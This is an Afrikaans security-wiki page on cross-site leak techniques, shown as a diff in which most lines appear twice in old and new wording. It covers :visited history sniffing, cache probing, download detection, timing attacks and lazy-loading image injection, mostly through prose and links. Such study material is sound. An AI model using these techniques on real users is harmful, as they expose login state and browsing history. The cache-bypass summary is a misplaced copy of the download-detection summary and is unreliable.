- **Kode Voorbeeld**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Webtoepassings kan die **webwerf-styling verander afhangende van die status van die gebruiker**. Cross-origin CSS-lêers kan op die aanvallersbladsy ingebed word met die **HTML link element**, en die **reëls** sal op die aanvallersbladsy **toegepas** word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie **verskille** opspoor afhangende van die gebruiker se toestand.\
Webtoepassings kan die **webwerf-styling verander afhangende van die status van die gebruiker**. Cross-origin CSS-lêers kan op die aanvallersbladsy ingesluit word met die **HTML skakel element**, en die **reëls** sal op die aanvallersbladsy **toegepas** word. As 'n bladsy hierdie reëls dinamies verander, kan 'n aanvaller hierdie **verskille** opspoor afhangende van die gebruiker se toestand.\
As 'n lek tegniek kan die aanvaller die `window.getComputedStyle` metode gebruik om **CSS** eienskappe van 'n spesifieke HTML-element te **lees**. As gevolg hiervan kan 'n aanvaller arbitrêre CSS-eienskappe lees as die betrokke element en eienskapnaam bekend is.
### CSS History
### CSS Geskiedenis
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Summary:** Detecteer of die `:visited` styl toegepas is op 'n URL wat aandui dat dit reeds besoek is
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Opsomming:** Ontdek of die `:visited` styl toegepas is op 'n URL wat aandui dat dit reeds besoek is
- **Kode Voorbeeld**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
> [!NOTE]
> Volgens [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), werk dit nie in headless Chrome nie.
> Volgens [**hierdie**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) werk dit nie in headless Chrome nie.
Die CSS `:visited` selektor word gebruik om URL's anders te styl as hulle voorheen deur die gebruiker besoek is. In die verlede kon die `getComputedStyle()` metode gebruik word om hierdie stylverskille te identifiseer. Modern blaaiers het egter sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel onthul. Hierdie maatreëls sluit in dat die berekende styl altyd teruggegee word asof die skakel besoek is en beperk die style wat met die `:visited` selektor toegepas kan word.
Die CSS `:visited` selektor word gebruik om URL's anders te styl as hulle voorheen deur die gebruiker besoek is. In die verlede kon die `getComputedStyle()` metode gebruik word om hierdie stylverskille te identifiseer. Modern blaaiers het egter sekuriteitsmaatreëls geïmplementeer om te voorkom dat hierdie metode die toestand van 'n skakel onthul. Hierdie maatreëls sluit in om altyd die berekende styl terug te gee asof die skakel besoek is en om die style wat met die `:visited` selektor toegepas kan word, te beperk.
Ten spyte van hierdie beperkings, is dit moontlik om die besoekte toestand van 'n skakel indirek te onderskei. Een tegniek behels om die gebruiker te mislei om met 'n area te interaksie wat deur CSS beïnvloed word, spesifiek deur die `mix-blend-mode` eienskap te gebruik. Hierdie eienskap laat die menging van elemente met hul agtergrond toe, wat moontlik die besoekte toestand kan onthul op grond van gebruiker interaksie.
Ten spyte van hierdie beperkings, is dit moontlik om die besoekte toestand van 'n skakel indirek te onderskei. Een tegniek behels om die gebruiker te mislei om met 'n area te interaksie wat deur CSS beïnvloed word, spesifiek deur die `mix-blend-mode` eienskap te gebruik. Hierdie eienskap laat die menging van elemente met hul agtergrond toe, wat moontlik die besoekte toestand kan onthul op grond van gebruikersinteraksie.
Verder kan opsporing bereik word sonder gebruiker interaksie deur die weergawe tyds van skakels te benut. Aangesien blaaiers besoekte en onbesoekte skakels anders kan weergee, kan dit 'n meetbare tydverskil in weergawe inbring. 'n Bewys van konsep (PoC) is in 'n Chromium-foutverslag genoem, wat hierdie tegniek demonstreer deur verskeie skakels te gebruik om die tydverskil te versterk, wat die besoekte toestand deur tydanalise opspoorbaar maak.
Verder kan opsporing bereik word sonder gebruikersinteraksie deur die weergawe-tyd van skakels te benut. Aangesien blaaiers besoekte en onbesoekte skakels anders kan weergee, kan dit 'n meetbare tydverskil in weergawe inbring. 'n Bewys van konsep (PoC) is in 'n Chromium-foutverslag genoem, wat hierdie tegniek demonstreer deur verskeie skakels te gebruik om die tydverskil te versterk, wat die besoekte toestand deur tydanalise opspoorbaar maak.
Vir verdere besonderhede oor hierdie eienskappe en metodes, besoek hul dokumentasiebladsye:
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
- `:visited`: [MDN Dokumentasie](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Dokumentasie](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN Dokumentasie](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Leak
### ContentDocument X-Frame Lek
- **Inclusion Methods**: Frames
- **Detectable Difference**: Headers
- **More info**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Summary:** In Google Chrome, 'n toegewyde foutbladsy word vertoon wanneer 'n bladsy geblokkeer word om op 'n cross-origin webwerf ingebed te word weens X-Frame-Options beperkings.
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
- **Insluitingsmetodes**: Rame
- **Waarneembare Verskil**: Headers
- **Meer inligting**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Opsomming:** In Google Chrome, 'n toegewyde foutbladsy word vertoon wanneer 'n bladsy geblokkeer word om op 'n cross-origin webwerf ingesluit te word weens X-Frame-Options beperkings.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
In Chrome, as 'n bladsy met die `X-Frame-Options` kop wat op "deny" of "same-origin" gestel is, as 'n objek ingebed word, verskyn 'n foutbladsy. Chrome keer 'n leë dokumentobjek (in plaas van `null`) vir die `contentDocument` eienskap van hierdie objek terug, anders as in iframes of ander blaaiers. Aanvallers kan dit benut deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars die X-Frame-Options kop inkonsekwent stel, dikwels die foutbladsye oor die hoof sien. Bewustheid en konsekwente toepassing van sekuriteitskoppe is van kardinale belang om sulke lekke te voorkom.
In Chrome, as 'n bladsy met die `X-Frame-Options` header wat op "deny" of "same-origin" gestel is, as 'n objek ingesluit word, verskyn 'n foutbladsy. Chrome keer 'n leë dokument objek (in plaas van `null`) terug vir die `contentDocument` eienskap van hierdie objek, anders as in iframes of ander blaaiers. Aanvallers kan dit benut deur die leë dokument op te spoor, wat moontlik inligting oor die gebruiker se toestand kan onthul, veral as ontwikkelaars die X-Frame-Options header inkonsekwent stel, dikwels die foutbladsye oor die hoof sien. Bewustheid en konsekwente toepassing van sekuriteitsheaders is van kardinale belang om sulke lekke te voorkom.
### Download Detection
### Aflaai Opsporing
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Headers
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Summary:** 'n Aanvaller kan lêeraflaaie onderskei deur iframes te benut; voortgesette toegang tot die iframe dui op 'n suksesvolle lêeraflaai.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
- **Insluitingsmetodes**: Rame, Pop-ups
- **Waarneembare Verskil**: Headers
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Opsomming:** 'n Aanvaller kan lêeraflaaie onderskei deur iframes te benut; voortgesette toegang tot die iframe dui op 'n suksesvolle lêeraflaai.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
Die `Content-Disposition` kop, spesifiek `Content-Disposition: attachment`, gee die blaaiers opdrag om inhoud af te laai eerder as om dit inline te vertoon. Hierdie gedrag kan benut word om te bepaal of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai inisieer. In Chromium-gebaseerde blaaiers is daar 'n paar tegnieke om hierdie aflaai gedrag te detecteer:
Die `Content-Disposition` header, spesifiek `Content-Disposition: attachment`, gee die blaaiers opdrag om inhoud af te laai eerder as om dit inline te vertoon. Hierdie gedrag kan benut word om te bepaal of 'n gebruiker toegang het tot 'n bladsy wat 'n lêeraflaai aktiveer. In Chromium-gebaseerde blaaiers is daar 'n paar tegnieke om hierdie aflaai gedrag op te spoor:
1. **Aflaai Balk Monitering**:
- Wanneer 'n lêer in Chromium-gebaseerde blaaiers afgelaai word, verskyn 'n aflaai balk onderaan die blaaiervenster.
- Deur veranderinge in die vensterhoogte te monitor, kan aanvallers die verskyning van die aflaai balk aflei, wat daarop dui dat 'n aflaai inisieer is.
- Deur veranderinge in die vensterhoogte te monitor, kan aanvallers die verskyning van die aflaai balk aflei, wat daarop dui dat 'n aflaai geaktiveer is.
2. **Aflaai Navigasie met Iframes**:
- Wanneer 'n bladsy 'n lêeraflaai inisieer met die `Content-Disposition: attachment` kop, veroorsaak dit nie 'n navigasie gebeurtenis nie.
- Wanneer 'n bladsy 'n lêeraflaai aktiveer met die `Content-Disposition: attachment` header, veroorsaak dit nie 'n navigasie gebeurtenis nie.
- Deur die inhoud in 'n iframe te laai en vir navigasie gebeurtenisse te monitor, is dit moontlik om te kontroleer of die inhoudsdisposisie 'n lêeraflaai veroorsaak (geen navigasie) of nie.
3. **Aflaai Navigasie sonder Iframes**:
- Soos die iframe tegniek, behels hierdie metode die gebruik van `window.open` in plaas van 'n iframe.
- Deur navigasie gebeurtenisse in die nuutgeopende venster te monitor, kan onthul word of 'n lêeraflaai inisieer is (geen navigasie) of of die inhoud inline vertoon word (navigasie vind plaas).
- Monitering van navigasie gebeurtenisse in die nuutgeopende venster kan onthul of 'n lêeraflaai geaktiveer is (geen navigasie) of of die inhoud inline vertoon word (navigasie vind plaas).
In scenario's waar slegs ingelogde gebruikers sulke aflaaie kan inisieer, kan hierdie tegnieke gebruik word om indirek die gebruiker se verifikasietoestand af te lei op grond van die blaaiers se reaksie op die aflaai versoek.
In scenario's waar slegs ingelogde gebruikers sulke aflaaie kan aktiveer, kan hierdie tegnieke gebruik word om indirek die gebruiker se verifikasietoestand af te lei op grond van die blaaiers se reaksie op die aflaai versoek.
### Partitioned HTTP Cache Bypass <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
### Gedeeltelike HTTP Cache Omseiling <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Summary:** 'n Aanvaller kan lêeraflaaie onderskei deur iframes te benut; voortgesette toegang tot die iframe dui op 'n suksesvolle lêeraflaai.
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (from [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
- **Insluitingsmetodes**: Pop-ups
- **Waarneembare Verskil**: Tyd
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Opsomming:** 'n Aanvaller kan lêeraflaaie onderskei deur iframes te benut; voortgesette toegang tot die iframe dui op 'n suksesvolle lêeraflaai.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (van [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> Dit is waarom hierdie tegniek interessant is: Chrome het nou **cache partitioning**, en die cache sleutel van die nuutgeopende bladsy is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, maar as ek 'n ngrok bladsy open en fetch daarin gebruik, sal die cache sleutel wees: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, die **cache sleutel is anders**, so die cache kan nie gedeel word nie. Jy kan meer besonderhede hier vind: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Comment from [**here**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> Dit is waarom hierdie tegniek interessant is: Chrome het nou **cache partitionering**, en die cache sleutel van die nuutgeopende bladsy is: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, maar as ek 'n ngrok bladsy open en fetch daarin gebruik, sal die cache sleutel wees: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, die **cache sleutel is anders**, so die cache kan nie gedeel word nie. Jy kan meer besonderhede hier vind: [Gaining security and privacy by partitioning the cache](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Kommentaar van [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
As 'n webwerf `example.com` 'n hulpbron van `*.example.com/resource` insluit, sal daardie hulpbron die **dieselfde caching sleutel** hê asof die hulpbron direk **deur top-level navigasie aangevra is**. Dit is omdat die caching sleutel bestaan uit top-level _eTLD+1_ en frame _eTLD+1_.
Omdat toegang tot die cache vinniger is as om 'n hulpbron te laai, is dit moontlik om te probeer om die ligging van 'n bladsy te verander en dit 20ms (byvoorbeeld) daarna te kanselleer. As die oorsprong na die stop verander is, beteken dit dat die hulpbron in die cache was.\
Of kan net **'n paar fetch na die potensieel gekapte bladsy stuur en die tyd meet wat dit neem**.
### Manual Redirect <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
### Handmatige Oorleiding <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Redirects
- **More info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
- **Summary:** Dit is moontlik om uit te vind of 'n antwoord op 'n fetch versoek 'n omleiding is
- **Code Example**:
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Oorleidings
- **Meer inligting**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
- **Opsomming:** Dit is moontlik om uit te vind of 'n antwoord op 'n fetch versoek 'n oorleiding is
- **Kode Voorbeeld**:
![](<../images/image (652).png>)
### Fetch with AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
### Fetch met AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing
- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Summary:** Dit is moontlik om te probeer om 'n hulpbron te laai en voordat dit gelaai word, word die laai onderbreek. Afhangende van of 'n fout geaktiveer word, was die hulpbron of nie in die cache nie.
- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Tyd
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Opsomming:** Dit is moontlik om te probeer om 'n hulpbron te laai en voordat dit gelaai word, word die laai onderbreek. Afhangende van of 'n fout geaktiveer word, was die hulpbron of nie in die cache nie.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Gebruik _**fetch**_ en _**setTimeout**_ met 'n **AbortController** om beide te detecteer of die **hulpbron in die cache is** en om 'n spesifieke hulpbron uit die blaaiers se cache te verwyder. Boonop vind die proses plaas sonder om nuwe inhoud te cache.
### Script Pollution
### Skrip Besoedeling
- **Inclusion Methods**: HTML Elements (script)
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Summary:** Dit is moontlik om **ingeboude funksies te oorskry** en hul argumente te lees wat selfs van **cross-origin script** (wat nie direk gelees kan word nie), dit kan **waardevolle inligting lek**.
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Insluitingsmetodes**: HTML Elemente (script)
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Opsomming:** Dit is moontlik om **ingeboude funksies te oorskry** en hul argumente te lees, selfs van **cross-origin skripte** (wat nie direk gelees kan word nie), dit kan **waardevolle inligting lek**.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Service Workers <a href="#service-workers" id="service-workers"></a>
### Dienswerkers <a href="#service-workers" id="service-workers"></a>
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Summary:** Meet die uitvoeringstyd van 'n web met behulp van dienswerkers.
- **Code Example**:
- **Insluitingsmetodes**: Pop-ups
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Opsomming:** Meet die uitvoerings tyd van 'n web met behulp van dienswerkers.
- **Kode Voorbeeld**:
In die gegewe scenario neem die aanvaller die inisiatief om 'n **dienswerker** binne een van hul domeine, spesifiek "attacker.com", te registreer. Vervolgens open die aanvaller 'n nuwe venster in die teikenwebwerf vanaf die hoofdokument en gee die **dienswerker** opdrag om 'n timer te begin. Terwyl die nuwe venster begin laai, navigeer die aanvaller die verwysing wat in die vorige stap verkry is na 'n bladsy wat deur die **dienswerker** bestuur word.
By die aankoms van die versoek wat in die vorige stap inisieer is, antwoord die **dienswerker** met 'n **204 (No Content)** statuskode, wat effektief die navigasieproses beëindig. Op hierdie punt vang die **dienswerker** 'n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.
By die aankoms van die versoek wat in die vorige stap geaktiveer is, reageer die **dienswerker** met 'n **204 (No Content)** statuskode, wat effektief die navigasieproses beëindig. Op hierdie punt vang die **dienswerker** 'n meting van die timer wat vroeër in stap twee begin is. Hierdie meting word beïnvloed deur die duur van JavaScript wat vertragings in die navigasieproses veroorsaak.
> [!WARNING]
> In 'n uitvoeringstyd is dit moontlik om **netwerkfaktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
> In 'n uitvoerings tyd is dit moontlik om **netwerk faktore** te **elimineer** om **meer presiese metings** te verkry. Byvoorbeeld, deur die hulpbronne wat deur die bladsy gebruik word, te laai voordat dit gelaai word.
### Fetch Timing
### Fetch Tyd
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Summary:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek uit te voer. Ander horlosies kan gebruik word.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Tyd (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Opsomming:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek te doen. Ander horlosies kan gebruik word.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Cross-Window Timing
### Cross-Window Tyd
- **Inclusion Methods**: Pop-ups
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Summary:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek te doen met `window.open`. Ander horlosies kan gebruik word.
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Insluitingsmetodes**: Pop-ups
- **Waarneembare Verskil**: Tyd (generaal weens Bladsy Inhoud, Statuskode)
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Opsomming:** Gebruik [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) om die tyd te meet wat dit neem om 'n versoek te doen met `window.open`. Ander horlosies kan gebruik word.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
## With HTML or Re Injection
## Met HTML of Re-inspuiting
Hier kan jy tegnieke vind om inligting uit 'n cross-origin HTML **te injecteer**. Hierdie tegnieke is interessant in gevalle waar jy om enige rede **HTML kan injecteer maar nie JS kode kan injecteer nie**.
### Dangling Markup
### Hangende Markup
{{#ref}}
dangling-markup-html-scriptless-injection/
{{#endref}}
### Image Lazy Loading
### Beeld Luie Laai
As jy **inhoud moet uitlek** en jy kan **HTML voor die geheim byvoeg**, moet jy die **gewone dangling markup tegnieke** nagaan.\
As jy **inhoud moet uitlek** en jy kan **HTML voor die geheim byvoeg**, moet jy die **gewone hangende markup tegnieke** nagaan.\
As jy egter om enige rede **MOET** dit **karakter vir karakter** doen (miskien is die kommunikasie via 'n cache hit), kan jy hierdie truuk gebruik.
**Beelde** in HTML het 'n "**loading**" attribuut waarvan die waarde "**lazy**" kan wees. In daardie geval sal die beeld gelaai word wanneer dit gesien word en nie terwyl die bladsy laai nie:
**Beelde** in HTML het 'n "**loading**" eienskap waarvan die waarde "**lazy**" kan wees. In daardie geval sal die beeld gelaai word wanneer dit gesien word en nie terwyl die bladsy laai nie:
```html
<img src=/something loading=lazy >
```
Daarom, wat jy kan doen, is om **'n baie rommel karakters** (Byvoorbeeld **duisende "W"s**) toe te voeg om die **webblad te vul voor die geheim of iets soos** `<br><canvas height="1850px"></canvas><br>.`\
Dan, as ons **inspuiting byvoorbeeld voor die vlag verskyn**, sal die **beeld** **gelaai** word, maar as dit **na** die **vlag** verskyn, sal die vlag + die rommel dit **verhoed om gelaai te word** (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat gebeur het in [**hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
Daarom, wat jy kan doen, is om **'n baie rommel karakters** (Byvoorbeeld **duisende "W"s**) toe te voeg om **die webblad te vul voor die geheim of iets soos** `<br><canvas height="1850px"></canvas><br>.`\
As ons byvoorbeeld **inspuiting voor die vlag verskyn**, sal die **beeld** **gelaai** word, maar as dit **na** die **vlag** verskyn, sal die vlag + die rommel **voorkom dat dit gelaai word** (jy sal moet speel met hoeveel rommel om te plaas). Dit is wat gebeur het in [**hierdie skrywe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
'n Ander opsie sou wees om die **scroll-to-text-fragment** te gebruik as dit toegelaat word:
@ -899,7 +899,7 @@ $(
xs-search/css-injection/
{{#endref}}
## Verdedeigings
## Verdedigings
Daar is verskeie versagings aanbeveel in [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) ook in elke afdeling van die wiki [https://xsleaks.dev/](https://xsleaks.dev/). Kyk daar vir meer inligting oor hoe om teen hierdie tegnieke te beskerm.

View File

@ -21,7 +21,7 @@ Verskeie aspekte kan geanaliseer word om die toestande van die Kwetsbare Web te
- **Statuskode**: Onderskeiding tussen **verskeie HTTP-responsstatuskodes** kruis-oorsprong, soos bedienerfoute, kliëntfoute, of outentikasiefoute.
- **API Gebruik**: Identifisering van **gebruik van Web API's** oor bladsye, wat onthul of 'n kruis-oorsprong bladsy 'n spesifieke JavaScript Web API gebruik.
- **Herlidings**: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herleidings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.
- **Herluidings**: Opspoor van navigasies na verskillende bladsye, nie net HTTP-herluidings nie, maar ook dié wat deur JavaScript of HTML geaktiveer word.
- **Bladsy Inhoud**: Waarneming van **verskille in die HTTP-responsliggaam** of in bladsy sub-hulpbronne, soos die **aantal ingeslote rame** of grootteverskille in beelde.
- **HTTP Kop**: Notering van die teenwoordigheid of moontlik die waarde van 'n **spesifieke HTTP-responskop**, insluitend koppe soos X-Frame-Options, Content-Disposition, en Cross-Origin-Resource-Policy.
- **Tydsberekening**: Opmerking van konsekwente tydverskille tussen die twee toestande.
@ -29,15 +29,15 @@ Verskeie aspekte kan geanaliseer word om die toestande van die Kwetsbare Web te
### Insluitingsmetodes
- **HTML Elemente**: HTML bied verskeie elemente vir **kruis-oorsprong hulpbroninsluiting**, soos stylesheets, beelde, of skripte, wat die blaaiers dwing om 'n nie-HTML hulpbron aan te vra. 'n Samevatting van potensiële HTML-elemente vir hierdie doel kan gevind word by [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **gebrek aan raam beskerming** het, kan JavaScript toegang verkry tot die ingeslote hulpbron se venster objek via die contentWindow eienskap.
- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmelding gebruik word, omseil raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies.
- **JavaScript Versoeke**: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herleidings te volg.
